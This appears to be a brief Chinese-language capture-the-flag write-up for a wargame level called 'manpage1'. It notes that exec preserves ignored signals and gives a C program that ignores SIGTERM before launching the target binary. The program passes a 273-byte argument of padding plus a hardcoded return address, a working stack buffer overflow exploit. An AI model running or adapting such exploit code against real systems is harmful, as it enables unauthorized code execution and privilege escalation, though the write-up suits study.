manpage1

Posted by rk700 on July 18, 2014

exec的manual里是这么说的

Except for SIGCHLD, signals set to be ignored (SIG_IGN) by the calling process image shall be set to be ignored by the new process image.

于是我们先把SIGTERM设为忽略,再调用manpage1

#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *args[]) {
    char arg1[273];
    memset(arg1, 'A', sizeof arg1);
    strncpy(arg1+268, "\xf1\xd8\xff\xff", 5);
    signal(SIGTERM, SIG_IGN);
    //execl("./././././envAddr", "", arg1, NULL);
    execl("/manpage/manpage1", "", arg1, NULL);
}